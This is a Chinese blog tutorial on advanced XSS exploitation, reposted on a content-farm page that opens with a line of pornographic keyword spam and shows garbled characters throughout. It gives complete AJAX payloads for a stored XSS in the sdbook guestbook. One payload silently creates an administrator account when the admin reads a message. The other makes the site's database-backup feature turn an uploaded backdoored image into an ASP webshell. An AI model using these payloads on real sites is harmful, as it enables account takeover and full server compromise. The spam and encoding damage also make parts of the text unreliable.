日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

xss植入_xss的高级利用

發(fā)布時間:2025/3/20 编程问答 33 豆豆
生活随笔 收集整理的這篇文章主要介紹了 xss植入_xss的高级利用 小編覺得挺不錯的,現(xiàn)在分享給大家,幫大家做個參考.

以往對XSS的利用大多數(shù)都是針對于掛馬,釣魚,盜cookie等,這些方式并沒有真正發(fā)揮到XSS的作用,因為很少人能了解XSS的實質(zhì),會話劫持,瀏覽器劫持,XSS能做到的東西遠遠超乎我們的想象。之前本站的一篇文章《深掘XSS漏洞場景之XSS Rootkit》也可以為各位讀者提供參考。

一 XSS下提升權(quán)限?????? 隨著AJAX技術(shù)在許多大型SNS網(wǎng)站的應(yīng)用,XSS也變得愈加流行,在XSS場景下運用AJAX能更有效地發(fā)揮它的作用。

用戶輸入的地方最容易滋生XSS,譬如留言、評論等表單,我搭建了一個sdbook的留言本,因為sdbook沒有對用戶輸入的變量作出合適的過濾,導(dǎo)致一個XSS的產(chǎn)生。

留言率先傳遞給管理員,當作javascript劫持,我們就可以利用管理員的權(quán)限做任何事情,例如添加一個管理員。

在留言內(nèi)容輸入跨站代碼:

這段代碼用來加載遠程的JS,而xss.js的內(nèi)容是利用xmlHttp對象發(fā)送一個異步請求,通過XMLHTTP無刷新提交到服務(wù)器端,模擬添加一個管理員。

先用Firebug監(jiān)視網(wǎng)絡(luò)傳輸?shù)那闆r,主要是獲取添加admin時post的數(shù)據(jù)。

然后構(gòu)造ajax代碼

xss.js代碼:

var request = false;

if(window.XMLHttpRequest) {

request = new XMLHttpRequest();

if(request.overrideMimeType) {

request.overrideMimeType(‘text/xml’);

}

} else if(window.ActiveXObject) {

var versions = [‘Microsoft.XMLHTTP’, ‘MSXML.XMLHTTP’, ‘Microsoft.XMLHTTP’, ‘Msxml2.XMLHTTP.7.0′,’Msxml2.XMLHTTP.6.0′,’Msxml2.XMLHTTP.5.0’, ‘Msxml2.XMLHTTP.4.0’, ‘MSXML2.XMLHTTP.3.0’, ‘MSXML2.XMLHTTP’];

for(var i=0; i

try {

request = new ActiveXObject(versions[i]);

} catch(e) {}

}

}

xmlhttp=request;

add_admin();

function add_admin(){

var url=”/sdbook/admin/AdminUser/adminUser_Add.asp“;

var params =”UserName=cnryan&password1=123456&password2=123456Purview=%B9%DC%C0%ED%D4%B1&Submit=%CC%E1%BD%BB“;

xmlhttp.open(“POST”, url, true);

xmlhttp.setRequestHeader(“Content-type”, “application/x-www-form-urlencoded”);

xmlhttp.setRequestHeader(“Content-length”, params.length);

xmlhttp.setRequestHeader(“Connection”, “close”);

xmlhttp.send(params);

}

當admin查看帶有XSS的留言時,就會在后臺悄悄地添加一個管理員,帳戶為cnryan,密碼是123456,最后我們就能獲得整個網(wǎng)站用戶的最高權(quán)限。

再來了解下這個留言本的場景,最初只有admin可以查看留言,也就只有admin受到XSS,當內(nèi)容通過審核,發(fā)布到網(wǎng)站,此時所有的web瀏覽用戶都有可能受到XSS,我們能獲得更多的會話劫持,利用這些會話甚至可能對服務(wù)器發(fā)起XSS DOS。

二 XSS獲取webshell

為什么要用AJAX,首先它夠隱秘,也就是所謂的“無刷新”,其次,它能更有效地迅速處理各種復(fù)雜多變的數(shù)據(jù)。

了解到以上例子的流程與代碼,你是否會有不一樣的想法呢?

我們不防想一想如何把網(wǎng)站的webshell拿下。

這里有兩點必要的條件,前者是在其后臺要有一定拿shell的功能,如備份數(shù)據(jù)庫,向配置信息插馬等,后者是我們要知道如網(wǎng)站路徑,默認數(shù)據(jù)庫等信息,對于許多網(wǎng)站都是存在這些缺陷的。

以備份數(shù)據(jù)庫拿webshell為例,這個站點有上傳頭像的權(quán)限,并記錄我們的地址:UploadFace20090901.jpg,圖片寫有后門,然 后在白盒的測試環(huán)境下記錄POST的數(shù)據(jù),構(gòu)造AJAX代碼寫入遠程的JS,最后在該站的XSS點植入JS。

其代碼如下:

var request = false;

if(window.XMLHttpRequest) {

request = new XMLHttpRequest();

if(request.overrideMimeType) {

request.overrideMimeType(‘text/xml’);

}

} else if(window.ActiveXObject) {

var versions = [‘Microsoft.XMLHTTP’, ‘MSXML.XMLHTTP’, ‘Microsoft.XMLHTTP’, ‘Msxml2.XMLHTTP.7.0′,’Msxml2.XMLHTTP.6.0′,’Msxml2.XMLHTTP.5.0’, ‘Msxml2.XMLHTTP.4.0’, ‘MSXML2.XMLHTTP.3.0’, ‘MSXML2.XMLHTTP’];

for(var i=0; i

try {

request = new ActiveXObject(versions[i]);

} catch(e) {}

}

}

xmlhttp=request;

getshell();

function getshell(){

var postStr =”DBpath=UploadFace%5C20090901.jpg&bkfolder=Databackup&bkDBname=shell.asp“;

xmlhttp.open(“POST”, “/ADMIN_data.asp?action=BackupData&act=Backup“, true);

xmlhttp.setRequestHeader(“Content-type”, “application/x-www-form-urlencoded”);

xmlhttp.setRequestHeader(“Content-length”, postStr.length);

xmlhttp.setRequestHeader(“Connection”, “close”);

xmlhttp.send(postStr);

}

上述代碼是我測試一個開源程序?qū)懙?#xff0c;不同的程序不盡相同,但大體相似。

getshell()函數(shù)的作用就是把UploadFace20090901.jpg備份為Databackup目錄下的shell.asp。

一切利用的前提就是該站具有XSS,并能成功把構(gòu)造代碼注入到后臺,只要管理員不經(jīng)意觸發(fā)了這個xss Trap,我們就能拿到webshell。

三 基于開源的Xss Hacking

以上事例都是在針對于白盒環(huán)境下測試的,很多問題都是基于理論的,在真實環(huán)境下利用XSS滲透是會有一定的難度,但仍是有辦法的,XSS的核心在于靈活多變,這也是它倍受追捧的原因,關(guān)于XSS滲透可以去看jianxin的文章。

XSS熱潮已至,相信各位滲透師,跨站師們勢必會把XSS的威力發(fā)揮到極致。

總結(jié)

以上是生活随笔為你收集整理的xss植入_xss的高级利用的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯,歡迎將生活随笔推薦給好友。